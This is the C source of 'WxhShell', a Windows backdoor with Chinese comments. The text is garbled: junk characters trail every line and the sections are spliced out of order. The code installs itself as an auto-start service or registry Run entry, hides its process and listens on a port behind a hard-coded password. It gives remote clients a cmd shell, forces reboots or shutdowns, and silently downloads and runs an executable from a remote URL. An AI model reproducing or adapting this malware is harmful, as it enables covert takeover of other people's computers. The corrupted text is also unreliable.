    if(Boot(SHUTDOWN)) zG)XB*c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j}}:&>;  
    else { |eH >55 b  
    closesocket(wsh); e%. Xya#\  
    ExitThread(0); Hg$t,\j  
    } ~u| k1  
    break; R+,eXjz"  
    } m:U.ao6  
  // 获取shell gw[\7  
  case 's': { `@?f@p$(B  
    CmdShell(wsh); <,/k"Y=  
    closesocket(wsh); 9ReH@5_bGM  
    ExitThread(0); el GP2x#:  
    break; aBv3vSq> Q  
  } "BSSA%u?c  
  // 退出 i Lr*W#E  
  case 'x': { <Th) &  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {v{qPYNyh  
    CloseIt(wsh); "f/91gIzm'  
    break;  }NX9"}/  
    } P5 f p!YF  
  // 离开 ?M?S+@(  
  case 'q': { "A\.`*6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q(Q .(  
    closesocket(wsh); K6"#&0  
    WSACleanup(); ::bK{yZm   
    exit(1); fNjxdG{a  
    break; =fk+"!-i%"  
        } &+F|v(|r  
  } . !gkJ  
  } LS1r}cl  
5cLq6[uO  
  // 提示信息 fT)u`voE,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ia=eFWt.  
} i$MYR @  
  } Gd^K,3:. T  
LvP{"K;   
  return; |KSd@   
} Fh  t$7V  
Z#H] yG  
// shell模块句柄 MR8\'0]  
int CmdShell(SOCKET sock) z@@w?>*  
{ Lbb{z  
STARTUPINFO si; K5X,J/n  
ZeroMemory(&si,sizeof(si)); O7r<6(q(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1e=<df  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xDtq@Rb}  
PROCESS_INFORMATION ProcessInfo; =apcMW(zn  
char cmdline[]="cmd"; #H]b Xr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g )H>Uu5@  
  return 0; Q.SLiI  
} 8j~:p!@  
ERSo&8  
// 自身启动模式 s-^B)0T!  
int StartFromService(void) 0Vu&UD  
{ /JaCbT?*T  
typedef struct nsO!   
{ ^(,qkq'u D  
  DWORD ExitStatus; `<R;^qCt  
  DWORD PebBaseAddress; p4} ,xQzB  
  DWORD AffinityMask; eK]g FXk  
  DWORD BasePriority; M#v#3:&5  
  ULONG UniqueProcessId; gcLwQ-  
  ULONG InheritedFromUniqueProcessId; MDETAd  
}   PROCESS_BASIC_INFORMATION; \ ) H}  
G)qNu}  
PROCNTQSIP NtQueryInformationProcess; +<cvyg5U  
8NY $Iw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CE :x;!}cd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j9)WInYc:  
3@u<Sa  
  HANDLE             hProcess; GE+ %V7  
  PROCESS_BASIC_INFORMATION pbi; $@ /K/"  
b-sbRR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n<Vq@=9AE  
  if(NULL == hInst ) return 0; WxNPAJ6YH  
HK~uu5j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^a9v5hu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D$k<<dvv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >:5^4/fo*  
Vs>/q:I  
  if (!NtQueryInformationProcess) return 0; UsT+o  
?sF<L/P0 F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !@ERAPuk  
  if(!hProcess) return 0; $i# 1<Qj  
| CNsa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k+*DPo@)  
V*an0@  
  CloseHandle(hProcess); SSi-Z  
~(%TQY5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'G3;!xk$  
if(hProcess==NULL) return 0; :\ %.x3T'  
^4jIT1  
HMODULE hMod; f? sW^ d;  
char procName[255]; 4[@`j{  
unsigned long cbNeeded; j 8lWra\y  
-b1VY4m-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6.]x@=Wm  
kbij Zj{  
  CloseHandle(hProcess); lWYZAF>?Ym  
3hzI6otKS  
if(strstr(procName,"services")) return 1; // 以服务启动 Q/e$Ttt4J  
OKDBzl  
  return 0; // 注册表启动 Vq7L:,N9  
} &r0b~RwUv  
~N</;{}fL4  
// 主模块 L%D:gy9o  
int StartWxhshell(LPSTR lpCmdLine) RS`]>K3t  
{  '%! '1si  
  SOCKET wsl; EH;w <LvT  
BOOL val=TRUE; L,I5/K6  
  int port=0; -C9 _gZ  
  struct sockaddr_in door; a-I3#3VJ@  
etY/K0  
  if(wscfg.ws_autoins) Install(); {? -@`FR-  
.SdHFWx  
port=atoi(lpCmdLine); 4AI\'M"d  
L\@SX?j  
if(port<=0) port=wscfg.ws_port; E1,Sr?'  
~=W|I:@  
  WSADATA data; ym,UJs&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zP\n<L5  
idL6*%M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D;@*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cE7xNZ;Bh  
  door.sin_family = AF_INET; FB<#N+L\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'B;aXy/JC  
  door.sin_port = htons(port); >BC?% |l  
oH/6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j(j o8  
closesocket(wsl); + V:P-D  
return 1; 5l"EQ9  
} sP1wO4M?{  
n-q  
  if(listen(wsl,2) == INVALID_SOCKET) { \ Y[  
closesocket(wsl); $4yv)6G  
return 1; v?Q|;<   
} {Mt4QA5iZ  
  Wxhshell(wsl); ;g[C=yhK`C  
  WSACleanup(); ?A|8J5E V  
rDNz<{evj  
return 0; Yh%a7K   
wRwTN"Yg  
} YmP`Gg#> p  
)9sRDNr  
// 以NT服务方式启动 i#I+   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hdB.u^!  
{ ?`+46U%  
DWORD   status = 0; P.bBu  
  DWORD   specificError = 0xfffffff; cnm&o C 6  
["|' f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #*^vd{fl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p7 b`Z>}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R/)cEvB-0  
  serviceStatus.dwWin32ExitCode     = 0; VV/6~jy0  
  serviceStatus.dwServiceSpecificExitCode = 0; lSw9e<jYO  
  serviceStatus.dwCheckPoint       = 0; J)O1)fR  
  serviceStatus.dwWaitHint       = 0; 3`@alhD'  
(eS/Q%ZGK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MB42 3{j  
  if (hServiceStatusHandle==0) return; _%G)Uz{3  
# 4E@y<l$  
status = GetLastError(); "bFt+N  
  if (status!=NO_ERROR) Ux_tHyc/  
{ T( @y#09  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y74Ph:^ k  
    serviceStatus.dwCheckPoint       = 0; C`F*00M{  
    serviceStatus.dwWaitHint       = 0; fuM+{1}/E  
    serviceStatus.dwWin32ExitCode     = status; MS{purD  
    serviceStatus.dwServiceSpecificExitCode = specificError; FC.d]XA%/d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` aTkIo:ms  
    return; YxH"*)N  
  } Kp") %p#  
H\A!oB,sw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &IGTCTBP  
  serviceStatus.dwCheckPoint       = 0; ,: X+NQ  
  serviceStatus.dwWaitHint       = 0; Skgvnmk[U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 41luFtE9  
} @DgJxY|  
V>}@--$c-r  
// 处理NT服务事件,比如:启动、停止 ]PVPt,c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k|W=kt$P  
{ 'LZF^m _<<  
switch(fdwControl) b#h?O}  
{ Uq/#\7/rL  
case SERVICE_CONTROL_STOP: !4uTi [e  
  serviceStatus.dwWin32ExitCode = 0; X E]YKJ?|k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $Xf1|!W%a%  
  serviceStatus.dwCheckPoint   = 0; 6x KbK1W  
  serviceStatus.dwWaitHint     = 0; }>vf(9sF`  
  { wD>tR SW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SX)giQLU  
  } c)8V^7=Q  
  return; &0*l=!:G^  
case SERVICE_CONTROL_PAUSE: }J}a;P4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c-z 2[a8  
  break; -L>\58`  
case SERVICE_CONTROL_CONTINUE: MCHRNhb9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q0Fq7rWP  
  break; ZN!OM)@:!  
case SERVICE_CONTROL_INTERROGATE: ?vL\VI9  
  break; =G9%Hz5~:  
}; a~YFJAkg9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L-_dq0T  
} 0;z-I"N  
yoTbIQ  
// 标准应用程序主函数 ?29zcuRaru  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y(IT#x?p  
{ Vm.&JVb  
UF)rBAv(/  
// 获取操作系统版本 Zd@'s.,J  
OsIsNt=GetOsVer(); LO@.aJpp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %Kd&A*  
,]@K6  
  // 从命令行安装 q;3,}emg  
  if(strpbrk(lpCmdLine,"iI")) Install(); kYBTmz} z  
}B2H)dG^K  
  // 下载执行文件 )@.bkzW  
if(wscfg.ws_downexe) { Tyu]14L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4?XX_=+F|  
  WinExec(wscfg.ws_filenam,SW_HIDE); c^P8)g Pf  
} _[8xq:G  
[^r0red  
if(!OsIsNt) { iorKS+w"  
// 如果时win9x,隐藏进程并且设置为注册表启动 sZFIQ)b9  
HideProc(); F/9]{H  
StartWxhshell(lpCmdLine); b_Ns Ch3@  
} -jsNAQ  
else fLK*rK^{"  
  if(StartFromService()) $2E n^  
  // 以服务方式启动 ~Nf0 1,F  
  StartServiceCtrlDispatcher(DispatchTable); dq%N,1.F  
else Q:Q) -|,  
  // 普通方式启动 C 5QPt  
  StartWxhshell(lpCmdLine); ay6G1\0W  
'U]= T<  
return 0; Q&:% U  
} y XZZ)i_  
DZ~w8v7V  
BMU}NZA  
_3<J!$]&p  
=========================================== lbrob' '+  
\FN"0P(G  
X0 &1ICZ  
u2K{3+r`'  
2%0z PflT  
x8%Q TTY  
" 7uJy<O  
kXS_:f;M  
#include <stdio.h> lZCvH1&"  
#include <string.h> ,p\^n`A32  
#include <windows.h> Z!=/[,b  
#include <winsock2.h> dT8m$}h9  
#include <winsvc.h> M= !Fb  
#include <urlmon.h> Mt)~:V+:  
8'J> @ uW  
#pragma comment (lib, "Ws2_32.lib") Wq 7 c/ |  
#pragma comment (lib, "urlmon.lib") & Sy0Of  
rb%P30qc4  
#define MAX_USER   100 // 最大客户端连接数 9)l-5o: D  
#define BUF_SOCK   200 // sock buffer  X>OO4SV  
#define KEY_BUFF   255 // 输入 buffer Acr\2!))  
d{&+xl^ll  
#define REBOOT     0   // 重启 PCnE-$QH  
#define SHUTDOWN   1   // 关机 K^tM$l\  
 Py\xN  
#define DEF_PORT   5000 // 监听端口 $K^"a  
'qQ 5K o  
#define REG_LEN     16   // 注册表键长度 %@q52ZQ  
#define SVC_LEN     80   // NT服务名长度 tu6oa[s  
RL |.y~  
// 从dll定义API yCkfAx8 ]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '-3AWBWI1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !>b>"\b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i`7{q~d=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iaXNf ])?  
XyJ*>;q  
// wxhshell配置信息 leyhiL<  
struct WSCFG {  CJg &  
  int ws_port;         // 监听端口 T+NEw8C?/  
  char ws_passstr[REG_LEN]; // 口令 wxpD{P  
  int ws_autoins;       // 安装标记, 1=yes 0=no z=<T[Uy  
  char ws_regname[REG_LEN]; // 注册表键名 a#FkoA~M  
  char ws_svcname[REG_LEN]; // 服务名 CyO2Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p%,:U8fOR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ElhTB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x*}j$n(Oa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `x$d8(1J`#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S%uH*&`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xc Wr hg  
'#$% f  
}; *3WK:0  
{%. _cR2  
// default Wxhshell configuration <`5>;Xn=  
struct WSCFG wscfg={DEF_PORT, K"VphKvR  
    "xuhuanlingzhe", LtbL[z>]  
    1, s4P8PDhz  
    "Wxhshell", n l Xg8t^G  
    "Wxhshell", MBs]<(RJZ  
            "WxhShell Service", xB3;%Lc  
    "Wrsky Windows CmdShell Service", wx -NUTRim  
    "Please Input Your Password: ", z %{>d#rw  
  1, Z"'rc.>a  
  "http://www.wrsky.com/wxhshell.exe", [VIdw 92  
  "Wxhshell.exe" </tiNc  
    }; (7`goi7M  
'IBs/9=ZC  
// 消息定义模块 Dk|S`3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (~xFd^W9o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &>0=v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QKc3Q5)@j  
char *msg_ws_ext="\n\rExit."; X'.}#R1  
char *msg_ws_end="\n\rQuit."; >T;"bc b  
char *msg_ws_boot="\n\rReboot..."; 5 g99t$p9  
char *msg_ws_poff="\n\rShutdown..."; "UKX~}8T  
char *msg_ws_down="\n\rSave to "; >Mj :'  
2/=CrK  
char *msg_ws_err="\n\rErr!"; hD{+V!{  
char *msg_ws_ok="\n\rOK!"; w_@N T}  
I !9u](\0  
char ExeFile[MAX_PATH]; 'cy35M  
int nUser = 0; $EW31R5h<s  
HANDLE handles[MAX_USER]; 3ag*dBbs  
int OsIsNt; "6^tG[G%  
bBAZr`<&U  
SERVICE_STATUS       serviceStatus; (FbqKx'uq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GBu&2}  
OgyETSN8C  
// 函数声明 #<0%_Ca  
int Install(void); c.m ' %4  
int Uninstall(void); +N"A5U  
int DownloadFile(char *sURL, SOCKET wsh); 5Ft bZ1L  
int Boot(int flag); zCL/^^#  
void HideProc(void); [%YA42_`LD  
int GetOsVer(void); y`:}~nUdT  
int Wxhshell(SOCKET wsl); T9KzVxHp5  
void TalkWithClient(void *cs); '[I_Iu#,  
int CmdShell(SOCKET sock); 8HX(1nNj}  
int StartFromService(void); )+wBS3BC  
int StartWxhshell(LPSTR lpCmdLine); [|d:QFx  
wblEx/FqE^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "@W0Lk[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D^=_408\  
 }XaO~]  
// 数据结构和表定义 1d7oR`qr  
SERVICE_TABLE_ENTRY DispatchTable[] = + htTrHjt  
{ WG NuB9R  
{wscfg.ws_svcname, NTServiceMain}, ~ 6 1?nu  
{NULL, NULL} jU)r~QhN  
}; _zI9 5  
QOlm#S  
// 自我安装 5xwztcR-  
int Install(void) N6cf`xye  
{ &BqRyUM$F  
  char svExeFile[MAX_PATH]; ,IA0n79  
  HKEY key; ~;aSX1   
  strcpy(svExeFile,ExeFile); r|:|\"Yk  
A`Z!=og=  
// 如果是win9x系统,修改注册表设为自启动 ]7O)iq%  
if(!OsIsNt) { ^)rX27!G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <?&GBCe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tc,Bv7:  
  RegCloseKey(key); 7S7gU\qOj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /S$p_7N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <(6@l@J|6  
  RegCloseKey(key); 699z@>$}  
  return 0; Z8(1QU,~2  
    } = PcmJG]  
  } t@ #sKdv  
} %O%+TR7Z  
else { ED"@!M`1  
<>A:Oi3^  
// 如果是NT以上系统,安装为系统服务 a k@0M[d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @j`_)Y\  
if (schSCManager!=0) oR5hMu;j+  
{ Z{EHV7  
  SC_HANDLE schService = CreateService f*Xonb  
  ( i?z3!`m  
  schSCManager, Kw3fpNd  
  wscfg.ws_svcname, ^-w:D  
  wscfg.ws_svcdisp, =2s 5>Oz+  
  SERVICE_ALL_ACCESS, "Fy34T0N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >J[g)$,  
  SERVICE_AUTO_START, >"f,'S5*  
  SERVICE_ERROR_NORMAL, BXO(B'1)]  
  svExeFile, VE& ?Zd~  
  NULL, >{~W"  
  NULL, j.uN`cU!  
  NULL, k[6@\D-  
  NULL, =8X`QUmT  
  NULL `mQY%p|  
  ); _ YWw7q  
  if (schService!=0) H?sl_3- #  
  { 9.qIhg  
  CloseServiceHandle(schService); 3uwu}aw  
  CloseServiceHandle(schSCManager); Z_QSVH68A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4HVZ;,q  
  strcat(svExeFile,wscfg.ws_svcname); Lt8chNi [  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XASoS5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lJi'%bOi  
  RegCloseKey(key); 4-eb&  
  return 0; 0L $v7, 5  
    } L5(rP\B  
  } ' jZ2^  
  CloseServiceHandle(schSCManager); v!E0/ gD  
} E8T4Nh_  
} HelC_%#^  
c ^G\w+_  
return 1; (?J6vK}S  
} Cc0`Ylx~(  
x1Q}B   
// 自我卸载 U u(ysN4`  
int Uninstall(void) K$\az%NE  
{ jj0@ez{3  
  HKEY key; :4}?%3&;  
YPDc /  
if(!OsIsNt) { ?1xBhKq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3P6pQm'.f  
  RegDeleteValue(key,wscfg.ws_regname); F 71  
  RegCloseKey(key); +uM1#-+h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o{4ya jt  
  RegDeleteValue(key,wscfg.ws_regname); 95_ ?F7}9  
  RegCloseKey(key); SIKy8?Fn  
  return 0; 3I^KJ/)A  
  } brb8C%j}9  
} zid?yuP  
} #E2`KGCzW  
else { bS3qX{5  
c,Zs. kC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "6~pTHT  
if (schSCManager!=0) U> (5J,G  
{ 7OS\j>hb~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hQ i[7r($8  
  if (schService!=0) HW|c -\tS  
  { !aeL*`;  
  if(DeleteService(schService)!=0) { |H2{%!  
  CloseServiceHandle(schService); ibl^A=  
  CloseServiceHandle(schSCManager); }H?8~S =  
  return 0; HPCzh  
  } oB-&ma[ZS  
  CloseServiceHandle(schService); pco~Z{n  
  } xp7,0'(;  
  CloseServiceHandle(schSCManager); [zm&}$nnN  
} %/oOM\} ++  
} t^Aios~F  
82~UI'f \  
return 1; 7 ZET@  
} "monuErg&  
<.HHV91  
// 从指定url下载文件 kN`[Q$B  
int DownloadFile(char *sURL, SOCKET wsh) Mw?nIIu(@  
{ {v+i!a'+  
  HRESULT hr; &s"&rFFO[  
char seps[]= "/"; 3Ym5SrKK  
char *token; w^ui%9 &6H  
char *file; 0Q;T <% U  
char myURL[MAX_PATH]; )*G3q/l1u6  
char myFILE[MAX_PATH]; H #J"'  
:u'X ~ID[  
strcpy(myURL,sURL); DGC -`z  
  token=strtok(myURL,seps); Eg3rbqM- 8  
  while(token!=NULL) YZ7rs] A  
  { R# 8D}5[&  
    file=token; e=%7tK*  
  token=strtok(NULL,seps); (gNI6;P;}  
  } %\}|&z6  
DHbLS3-  
GetCurrentDirectory(MAX_PATH,myFILE);  s+[_5n~  
strcat(myFILE, "\\"); k)[}3oq  
strcat(myFILE, file); en=Z[ZIPO  
  send(wsh,myFILE,strlen(myFILE),0); (iP,F]  
send(wsh,"...",3,0); fm;1Iu#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); * <x]gV  
  if(hr==S_OK) 6[69|&  
return 0; 394u']M  
else A~ '2ki5$g  
return 1; `kwyF27v]  
*na7/ysT<  
} E,xCfS)  
xii*"n~  
// 系统电源模块 Q~,E K  
int Boot(int flag) L-Xd3RCD  
{ Fz?ON1\  
  HANDLE hToken; Nk3 ]<#$  
  TOKEN_PRIVILEGES tkp; Y">Q16(  
Y3-Tg~/~W  
  if(OsIsNt) { eoR@5OA&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C]W VH\P p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N,(@k[uta  
    tkp.PrivilegeCount = 1; vn .wM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !H~!i.m'-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u7^Z7; J  
if(flag==REBOOT) { (8GJLs 8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %N/I;`  
  return 0; kX'1.<[  
} _( w4\]  
else { KAgiY4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KofjveOiC  
  return 0; KFA B  
} 9=rYzA?)+  
  } \&R}JK  
  else { F` J(+  
if(flag==REBOOT) { x4*8q/G=D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E-*udQ  
  return 0; ]}ff*W  
} b=F"  
else { A!Ng@r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vD:.1,72  
  return 0; YCh!D dy  
} bLCrh(<  
} ^dZ,Itho  
O_-.@uo./(  
return 1; OA%.>^yb@  
} pJ+>qy5  
g[8V fIe  
// win9x进程隐藏模块 5f/[HO)  
void HideProc(void) :7W5R  
{ s<E_74q1  
np=m ~k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ? @h  
  if ( hKernel != NULL ) `gfK#0x#  
  { '(+l77G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *%B%BJnX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); { zlq6z  
    FreeLibrary(hKernel); ^nkwT~Bya  
  } 66:|)  
r\@"({q}_-  
return; ;NRm ,  
} Jfo|/JQ  
)lB-D;3[_  
// 获取操作系统版本 zL OmtZ(['  
int GetOsVer(void) g\rujxHlH  
{ PA`b~Ct  
  OSVERSIONINFO winfo; jd]MC*%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0Yfk/}5  
  GetVersionEx(&winfo); wLkHU"'   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m$QFtrvy  
  return 1; -W!g>^.  
  else " 8;D^  
  return 0; r\_rnM)_xN  
} p"q-sMYl  
LFen!FnM  
// 客户端句柄模块 8'^eH1d'  
int Wxhshell(SOCKET wsl) eFsku8$<  
{ oWs&W  
  SOCKET wsh;  vFl|  
  struct sockaddr_in client; _32ltnBX  
  DWORD myID; !Z%QD\knY  
@m6pAo4P  
  while(nUser<MAX_USER) CtjjN=59  
{ o S_'@u.5  
  int nSize=sizeof(client); uKpl+>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 86R}G/>>e  
  if(wsh==INVALID_SOCKET) return 1; -6+HA9zz@C  
pNVao{::5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G<Lm}  
if(handles[nUser]==0) xs.[]>nQN  
  closesocket(wsh); Bw{@YDO{  
else [USXNe/  
  nUser++; e= 8ccj  
  } am:LLk-Lx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AuO%F YKY  
Kh$L~4l  
  return 0; dr'6N1B@  
} ?ZTB u[  
27u$VHwb  
// 关闭 socket `f6Qd2\  
void CloseIt(SOCKET wsh) dE ^(KBF  
{ S1$\D!|1  
closesocket(wsh); <9@VY  
nUser--; 1/HPcCsHb  
ExitThread(0); uA}asm  
} Ls|;gewp  
yMo@ka=v  
// 客户端请求句柄 b#82G`6r  
void TalkWithClient(void *cs) N|[a<ut<  
{ v]!|\]  
n>#h(  
  SOCKET wsh=(SOCKET)cs; +|#:*GZ  
  char pwd[SVC_LEN]; BOh&Db*  
  char cmd[KEY_BUFF]; egr@:5QwZ{  
char chr[1]; r>z8DX@  
int i,j; +X Y}-  
f3v/Y5)  
  while (nUser < MAX_USER) { T}u'  
&qe:|M  
if(wscfg.ws_passstr) { JpSS[pOg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }$$b6G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @B&hR} 4  
  //ZeroMemory(pwd,KEY_BUFF);  ISq^V  
      i=0; ]'M4Unu#@  
  while(i<SVC_LEN) { W@UHqHr:\  
WZFV8'  
  // 设置超时 3%cNePlr  
  fd_set FdRead; x;b'y4kH  
  struct timeval TimeOut; "QiUuD=  
  FD_ZERO(&FdRead); ` -w;=_Bm  
  FD_SET(wsh,&FdRead); a,}{f]  
  TimeOut.tv_sec=8; r@ejU'uz  
  TimeOut.tv_usec=0; Aq";z.gi+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F6q}(+9i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {p2%4  
_a.Q@A4'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *qpmI9m  
  pwd=chr[0]; 7 51\K`L  
  if(chr[0]==0xd || chr[0]==0xa) { N0.-#Qa  
  pwd=0; > }:6m  
  break; }F1^gN&QF  
  } zA+ ^4/M  
  i++; ?cpID8Z  
    } '4O1Y0K  
3}N:oJI$z  
  // 如果是非法用户,关闭 socket Kt`0vwkjvI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E~N}m7kTl/  
} ^8fO3<Jg  
T.K$a\/{,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,u\M7,a^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Z|cUHo  
A Ys<IMQ  
while(1) { h|jsi*4NnL  
){wE)NN  
  ZeroMemory(cmd,KEY_BUFF); /8GVu7  
>O?EFd>E  
      // 自动支持客户端 telnet标准   koAc-o  
  j=0; S B'.   
  while(j<KEY_BUFF) { 2QBq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X1" `0r3  
  cmd[j]=chr[0]; x$A5Ved  
  if(chr[0]==0xa || chr[0]==0xd) { 8E$KR:/:4  
  cmd[j]=0; Ymn0?$,D1=  
  break; y#T":jpR  
  } !5{t1 oJ  
  j++; o#6j+fo!n  
    } `qr[0wM  
'zpj_QM  
  // 下载文件 5HJ6[.HO  
  if(strstr(cmd,"http://")) { f+F /`P%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]huqZI  
  if(DownloadFile(cmd,wsh)) * .Kc-f4mP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :uMD$zF'5  
  else 8-+IcyUza  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -5E%f|U  
  } uK t>6DN.  
  else { Uh&MoIBs#  
2TIZltFS0e  
    switch(cmd[0]) { &z,w0FOre  
  fe&K2C%bm  
  // 帮助 lRentNg0b  
